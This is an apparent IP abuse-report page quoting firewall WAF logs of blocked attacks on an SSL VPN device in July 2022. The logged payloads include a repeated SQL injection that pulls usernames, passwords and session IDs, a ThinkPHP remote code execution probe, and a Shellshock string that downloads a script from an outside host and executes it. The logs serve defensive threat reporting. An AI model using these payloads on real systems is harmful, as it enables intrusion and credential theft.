🇬🇧
45.61.138.99
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-12 07:26:31" vp_time="2022-07-12 05:26:31
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-12 07:26:31" vp_time="2022-07-12 05:26:31
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=45.61.138.99 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/supportInstaller rule-match="unpossible' union select
0,0,0,36356*30118,0,0,0,0--" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an
attack technique used to exploit web sites that construct SQL statements from
user-supplied input" sigid="9005" category="Command Execution--SQL Injection"
agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0"
show less
SQL Injection
🇺🇸
204.44.98.142
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-12 04:56:18" vp_time="2022-07-12 02:56:18
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-12 04:56:18" vp_time="2022-07-12 02:56:18
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=204.44.98.142 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: System Command Injection Variant
2" URI=xxx.xxx.xxx.xxx:443/cgi-bin/jarrewrite.sh rule-match="() { :; }; echo ; /bin/bash -c
'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget
http:/155.94.170.185/phantomc.sh -O" AttackCat="System Command Injection Variant 2"
summ="This technique allows an attacker to execute OS commands by manipulating application
input" sigid="9012" category="Command Execution--OS Commanding" agent="() { :; }; echo ;
/bin/bash -c 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget
http://155.94.170.185/phantomc.sh -O phantomc.sh; curl -O
http://155.94.170.185/phantomc.sh; chmod 777 phantomc.sh; sh phantomc.sh; tftp
155.94.170.185 -c get phantomc.sh; chmod 777 phantomc.sh; sh phantomc.sh; tftp -r
phantomc2.sh -g 155.94.170.185; chmo
show less
Hacking
🇺🇸
146.70.87.53
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-11 21:48:54" vp_time="2022-07-11 19:48:54
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-11 21:48:54" vp_time="2022-07-11 19:48:54
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=146.70.87.53 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇩🇪
37.120.160.91
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-11 11:52:24" vp_time="2022-07-11 09:52:24
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-11 11:52:24" vp_time="2022-07-11 09:52:24
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=37.120.160.91 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇩🇪
185.170.114.243
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-11 11:07:49" vp_time="2022-07-11 09:07:49
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-11 11:07:49" vp_time="2022-07-11 09:07:49
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=185.170.114.243 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
162.247.74.204
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-10 23:46:23" vp_time="2022-07-10 21:46:23
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-10 23:46:23" vp_time="2022-07-10 21:46:23
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=162.247.74.204 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
138.68.8.62
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-09 22:49:05" vp_time="2022-07-09 20:49:05
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-09 22:49:05" vp_time="2022-07-09 20:49:05
UTC" fw=xxx.xxx.xxx.xxx pri=3 m=34 c=402 src=138.68.8.62 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: ThinkPHP Remote Code Execution"
URI=xxx.xxx.xxx.xxx:443/?s=/Index/\think\app/invokefunction&function=call_user_func_array&var
s[0]=md5&vars[1][]=fv896h85
rule-match="/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]
=fv896h85"
AttackCat="ThinkPHP Remote Code Execution" summ="ThinkPHP has a remote code execution
vulnerability which allows attackers to run instructions on the target system"
sigid="1689" category="Command Execution--OS Commanding" agent="Mozilla/5.0 (Windows NT
10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
show less
Hacking
🇳🇱
62.197.136.170
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-09 21:57:26" vp_time="2022-07-09 19:57:26
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-09 21:57:26" vp_time="2022-07-09 19:57:26
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=62.197.136.170 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (iPhone; CPU
iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3
Mobile/15E148 Safari/604.1"
show less
SQL Injection
🇵🇱
95.214.54.101
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-09 11:03:30" vp_time="2022-07-09 09:03:30
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-09 11:03:30" vp_time="2022-07-09 09:03:30
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=95.214.54.101 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇬🇧
109.228.40.29
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-09 10:10:29" vp_time="2022-07-09 08:10:29
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-09 10:10:29" vp_time="2022-07-09 08:10:29
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=109.228.40.29 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇳🇱
5.255.96.183
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 21:48:34" vp_time="2022-07-08 19:48:34
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 21:48:34" vp_time="2022-07-08 19:48:34
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=5.255.96.183 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
146.70.87.53
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 11:07:18" vp_time="2022-07-08 09:07:18
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 11:07:18" vp_time="2022-07-08 09:07:18
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=146.70.87.53 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
show less
SQL Injection
🇳🇱
94.142.244.16
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 10:21:01" vp_time="2022-07-08 08:21:01
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 10:21:01" vp_time="2022-07-08 08:21:01
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=94.142.244.16 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
192.3.81.16
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 09:40:56" vp_time="2022-07-08 07:40:56
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 09:40:56" vp_time="2022-07-08 07:40:56
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=192.3.81.167 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/supportInstaller rule-match="unpossible' union select
0,0,0,12182*34098,0,0,0,0--" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an
attack technique used to exploit web sites that construct SQL statements from
user-supplied input" sigid="9005" category="Command Execution--SQL Injection"
agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/101.0.4951.67 Safari/537.36"
show less
SQL Injection
🇳🇱
144.172.73.16
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 09:27:28" vp_time="2022-07-08 07:27:28
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 09:27:28" vp_time="2022-07-08 07:27:28
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=144.172.73.16 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
146.70.87.53
13 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 00:07:51" vp_time="2022-07-07 22:07:51
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-08 00:07:51" vp_time="2022-07-07 22:07:51
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=146.70.87.53 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
192.3.81.167
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 22:41:15" vp_time="2022-07-07 20:41:15
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 22:41:15" vp_time="2022-07-07 20:41:15
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=192.3.81.167 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/supportInstaller rule-match="unpossible' union select
0,0,0,5325*44344,0,0,0,0--" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an
attack technique used to exploit web sites that construct SQL statements from
user-supplied input" sigid="9005" category="Command Execution--SQL Injection"
agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.39"
show less
SQL Injection
🇫🇷
146.59.233.33
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 21:45:32" vp_time="2022-07-07 19:45:32
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 21:45:32" vp_time="2022-07-07 19:45:32
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=146.59.233.33 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇩🇪
5.45.99.26
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 20:51:40" vp_time="2022-07-07 18:51:40
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 20:51:40" vp_time="2022-07-07 18:51:40
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=5.45.99.26 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇨🇭
185.195.71.3
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 20:04:00" vp_time="2022-07-07 18:04:00
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 20:04:00" vp_time="2022-07-07 18:04:00
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=185.195.71.3 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
146.70.87.53
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 15:04:18" vp_time="2022-07-07 13:04:18
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 15:04:18" vp_time="2022-07-07 13:04:18
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=146.70.87.53 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇳🇱
62.197.136.170
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 14:59:41" vp_time="2022-07-07 12:59:41
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 14:59:41" vp_time="2022-07-07 12:59:41
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=62.197.136.170 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (iPhone; CPU
iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3
Mobile/15E148 Safari/604.1"
show less
SQL Injection
🇳🇴
185.243.218.27
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 14:39:12" vp_time="2022-07-07 12:39:12
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 14:39:12" vp_time="2022-07-07 12:39:12
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=185.243.218.27 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
172.86.182.82
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 13:48:20" vp_time="2022-07-07 11:48:20
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 13:48:20" vp_time="2022-07-07 11:48:20
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=172.86.182.82 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/supportInstaller rule-match="unpossible' union select
0,0,0,12908*30674,0,0,0,0--" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an
attack technique used to exploit web sites that construct SQL statements from
user-supplied input" sigid="9005" category="Command Execution--SQL Injection"
agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0"
show less
SQL Injection
🇳🇱
93.174.89.132
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 07:48:52" vp_time="2022-07-07 05:48:52
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 07:48:52" vp_time="2022-07-07 05:48:52
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=93.174.89.132 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection